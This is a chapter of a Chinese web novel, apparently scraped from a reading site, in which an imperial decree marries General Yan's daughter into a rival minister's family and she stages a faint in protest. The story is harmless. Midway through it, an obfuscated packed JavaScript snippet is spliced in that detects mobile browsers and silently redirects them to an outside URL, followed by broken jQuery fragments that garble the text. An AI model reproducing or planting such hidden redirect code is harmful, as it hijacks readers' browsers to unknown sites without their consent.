默认冷灰
24号文字
方正启体

13. 013 赐婚圣旨

作者:盛世清歌本书字数:K更新时间:
    方才那报信的小厮颤抖着声音道:“将军,李公公他、他已经进来了。”


    “老子看得见!”严铁山没好气地回了一句,这蠢货,他又没老眼昏花,人都走到跟前了,怎么可能看不见。


    只见太监总管李全福领着仪仗队,步履沉稳地踏入前厅。


    他身着绛紫色蟒袍,手持拂尘,面白无须,自有一股不容忽视的威势。脸上虽挂着憨态可亲的笑容,但总让人心里发怵。用严令武的话来说,宫里就是死人太多了,成天阴气森森,就连这些奴才都是一脸死鬼的表情。


    李全福抬眼,迅速扫过全场。前厅中央尚未撤下的活雁,地上那些显眼的礼盒,还有本不该出现在将军府的周铭。这一切都看得清清楚楚。


    严铁山心头猛地一颤,莫不是皇上知道了什么,来问责的?


    他连忙起身迎上前去,抱拳道:“李总管大驾光临,快请进。”


    周铭更是吓得魂飞魄散,只觉得仿佛是被捉奸在床一般,心虚得很。他下意识就想往后缩,但李全福是代表皇帝来的,他要是躲了那就是大不敬。没有办法,只能硬着头皮,跟着严铁山一起躬身行礼:“不知李总管驾到,有失远迎……”


    李全福笑容不变,装作才看见他的模样,语气平和却带着一丝意味深长:“哟,周司业也在?真是巧了,严将军府上今日倒是热闹。”


    严铁山头皮发麻,只能干笑着含糊道:“啊,是,周司业今日过府是来做客的。”


    周铭也连忙附和:“正是,与严将军闲谈几句。”


    这借口找的着实不高明,一位是国子监司业,另一位是粗鄙武夫,他俩有什么可聊的,纯粹鸡同鸭讲。


    两人话音刚落,仿佛是为了拆台一般,角落里那只系着红绸的大雁,突然不合时宜地引颈长鸣:“嘎——嘎——”


    声音嘹亮又突兀,在寂静的前厅里显得格外刺耳,完全是嘲笑他俩的拙劣表演。


    “……”严铁山。


    “……”周铭。


    两人脸色瞬间难看起来,恨不得当场把那扁毛畜生的嘴给堵上。


    严铁山立刻眼神示意,低声呵斥:“还不快弄走,惊扰了贵人怎么办?”


    两个健仆慌忙上前,手忙脚乱地将这只扑腾抗议的大雁抬了下去。


    李全福仿佛全然未觉这尴尬气氛,脸上依旧挂着弥勒佛似的笑容他目光再次掠过那些扎着红绸的礼盒,心中早已明镜似的。


    这哪里是闲谈做客,分明是在行纳采之礼。


    但他面上却只做不知,反而轻轻颔首道:“原来如此。严将军,周司业,不必多礼。咱家今日前来,是来宣旨的。”


    他顿了顿,看着将军府下人已手脚麻利地在厅中设好香案,这才从身后小太监捧着的锦盒中,郑重请出一卷明黄绫锦。


    “圣旨到——严铁山及其家眷接旨!”李全福的声音陡然拔高,尖利而充满威严。


    严铁山心头狂跳,一种极其不祥的预感瞬间袭来。他来不及多想,连忙率领闻讯赶来的严家众人,齐刷刷跪倒在地。


    周铭也吓得魂不附体,跟着匍匐在地,头深深埋下,心中叫苦不迭,只盼千万别牵连到自己。


    香案香烟袅袅,李全福立于案前,尖细而清晰的声音响彻整个正厅,每一个字都如同重锤,敲在众人心上。


    “奉天承运皇帝,诏曰:朕闻婚姻乃人伦之大,王道之始。兹有大将军严铁山之女严令蘅,娴雅端庄,德容兼备;丞相裴鸿儒之幼子裴知鹤,性资敏慧,文采斐然。二人年岁相仿,门当户对,堪称良配。


    朕承天命,抚驭万方,乐见臣工和睦,文武相济。特旨赐婚于二人,以成佳偶之美,择吉日完婚,缔结良缘。


    尔等宜体朕心,恪遵礼制,同心同德,共效于飞。钦此——”


    圣旨读完,前厅内陷入了死一般的寂静,落针可闻。


    所有人都惊呆了,仿佛被一道晴天霹雳当头击中。


    严铁山猛地抬起头,脸上血色尽褪,双目圆睁,写满了难以置信。他耳朵里嗡嗡作响,几乎怀疑自己听错了。


    赐婚?裴家也配?呸!


    去他娘的门当户对,他的宝贝疙瘩和裴老狗的狗儿子放一起,完全是侮辱了阿蘅。


    就在李全福刚进门时,他心中还曾闪过一个惊恐的念头:莫非是陛下知晓了他严家要与新科状元结亲,龙颜不悦,特意派李全福前来阻拦申饬?若真是那样,虽然丢脸,但好歹还能转圜。


    可万万没想到,陛下这不仅是阻拦,还直接釜底抽薪,乱点鸳鸯谱。一竿子把他最心疼的闺女,支到死对头老冤家府里去了,这到底是赐婚还是发丧?


    裴家那一家子就是阴毒鬣狗,阿蘅进了狗窝,还能活着吗?


    许清身形一晃,几乎要软倒在地。严家两兄弟也攥紧了拳头,额角青筋爆出。


    严令蘅更是眼前一黑,她猛地抬起头,那张精心妆点的脸上,此刻却血色尽褪。先是极致的错愕,随即涌上的是难以置信,最后化为一种近乎冰冷的绝望和滔天的怒意。


    她费尽周折,算计了一切。让状元郎折服于她,还出动了父兄,如今连纳采的雁都提进门了。眼看就要成功,却终究功亏一篑。


    九五之尊竟然在此刻,以一种绝对强势又不容置疑的姿态,横插一杠,将她赐婚给了裴知鹤。


    脑海里自动浮现出那道劲瘦的身影,还有那张英俊异常的脸。主要是裴知鹤长得太好,很容易让人记住,虽说之前在酒楼里,她动过要抢他的心思,可当得知身份之后,她就一点旖旎的念头都没有,只剩下生人勿进了。


    日子过得好好的,谁想嫁去死对头家里。


    虽然两家都在望京,她不属于远嫁,可这毕竟是古代,出嫁从夫,她嫁进裴家,不就等于进了火坑,任由那一家子欺负,揉扁搓圆,兴许连命都没了。


    她只觉得一股腥甜涌上喉咙,着实不甘心。所有的算计,所有的得意,所有的美好向往,在这一刻都被这道圣旨砸得粉碎!


    李全福仿佛没有看到严家众人如丧考妣的脸色,笑眯眯地合上圣旨,递向依旧僵跪在地上的严铁山。


    无奈这位叱咤风云的将军,因为遭受了太大的冲击,至今还没回过神来。


    “严将军,快领旨谢恩。都高兴得愣神了吧?也对,陛下亲自为您家姑娘指了一门好姻缘。”李全福完全是在睁眼说瞎话。


    严铁山猛地回过神,看着那卷明黄的圣旨,只觉得胸腔里一股恶气堵得他几乎要爆炸。


    什么烂怂圣旨,通篇都在放狗臭屁。皇帝还没老,已经开始犯糊涂了。这老太监也会说,还好姻缘,既然这么好,你这条阉狗嫁过去呗,正好和裴家品种一样。


    纵使心中千般不满,但他终究是沙场老将,深知雷霆雨露俱是君恩,此刻若敢有半分迟疑或不满,便是大不敬之罪。


    他死死咬着后槽牙,重重叩首:“臣严铁山领旨谢恩,吾皇万岁万岁万万岁!”


    每一个字都说得艰难无比,仿佛带着血沫。他伸出微微发颤的双手,接过了那卷重逾千钧的圣旨。


    圣旨一接,厅内气氛陡然变得轻松起来。


    李全福脸上的笑容更加真切了几分,仿佛刚才那令人窒息的压迫感从未存在过。他拂尘一甩,语调明快地道:“诸位请起,这可是天大的喜事啊!咱家在这里给将军和夫人道喜了。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262388|182115||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他目光转向人群中的严令蘅,并不敢多打量,只开口称赞道:“早就听闻严姑娘才貌双全,今日一见,果然名不虚传。与裴相家的三公子,可真是郎才女貌,天造地设的一对璧人。陛下这旨意,真是英明至极!严将军,您就等着享福吧。哈哈哈——”


    一旁的严令武早已气得双目赤红,胸膛剧烈起伏,几次想要开口,都被身旁的大哥死死拉住。


    而此刻听到这番郎才女貌的话,他的脸更是涨得通红,猛地抬头,张嘴就想吼出声,  严令铮眼疾手快,抬起胳膊肘就狠狠地怼在他肋下。


    严令铮在心中怒骂:  这阉货此刻笑得再和善,也是皇帝的耳目。老二这个山炮,一旦开口,无论骂什么,下一刻就会原封不动地传到御前,那才是真的给严家招祸!


    严令武被怼得龇牙咧嘴,却在大哥几乎要杀人的目光下,硬生生把话咽了回去,只能愤恨地攥紧了拳头。


    兄弟俩的小动作,没逃过严铁山的眼睛,他不敢再多耽搁,生怕老二憋不住,真来个抗旨不尊,把全家都搭进去了。


    他脸上肌肉抽搐,挤出一个比哭还难看的笑容:“公公过奖了,谢陛下隆恩。”转头示意长子:“令铮,替为父送送李总管。”


    他是一眼都不想多看这老太监。


    李全福志得意满,也不再停留,笑着接受了严令铮塞过来的辛苦费,在一众内监的簇拥下,浩浩荡荡地离开了。


    待这一行人的身影彻底消失在门外,前厅里那根紧绷的弦仿佛才断裂,氛围逐渐舒缓了下来。


    严铁山转过身,看向惊魂未定的周司业。两人同样面无土色,  不由大眼瞪小眼,都从对方眼中看到了震惊、荒谬和深深的无奈。


    千言万语,最终只化为两声沉重的叹息:“唉——”


    一切尽在不言中,所有的谋划、期待、以及恐惧,都在这一声长叹里化为乌有。


    严铁山无力地挥挥手,声音疲惫又沙哑:“周大人,今日——唉,对不住了。这大雁和礼物都请带回去吧。”


    周铭也是满脸苦涩,连连摆手:“应当的,是下官叨扰了。”


    他的目光下意识地扫过厅堂右墙边,那里整整齐齐摆放着好几抬箱笼,都盖着大红绸布。那显然是严府早已备下,准备回给状元郎的纳采回礼。如今,却显得讽刺又可惜,再也送不出去了。


    而方才那番纳采应答,自然是不作数了。


    就在这一片死寂和颓丧之中,忽听得丫鬟一声惊呼:“姑娘您怎么了?”


    众人闻声望去,就见严令蘅身体猛地一软,直挺挺地向后倒去。她双眸紧闭,脸色苍白如纸。


    “阿蘅!”


    “小妹!”


    厅内顿时一阵兵荒马乱,许清立刻扑了上去,严铁山也骇然变色。


    严令蘅任由自己陷入“昏迷”,心中却是一片冰冷的清明。


    从听到圣旨的那一刻起,她的脑子就在飞速旋转。抗旨是绝不可能的,那会将整个家族拖入万劫不复之地,但她绝不能就这样毫无反抗地接受。


    算准了时机,等传旨的太监前脚刚走,她后脚就“晕倒”。这个消息必然会传入皇帝的耳中。


    这种事情,皇帝即便知道了,也不好责怪严铁山治家不严。


    毕竟,一道如此突兀的赐婚圣旨,完全违背当事人意愿,甚至可称得上乱点鸳鸯谱,将一个深闺少女吓得晕厥过去,实在是再合理不过的反应。


    她不能明面上抗旨,但也要当场被吓晕,至少把自己这个受害者的无辜和凄惨拉满了,处于道德高处,才方便后续的博弈。


    这是她目前唯一能做的,无声却最有力的控诉和自保。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)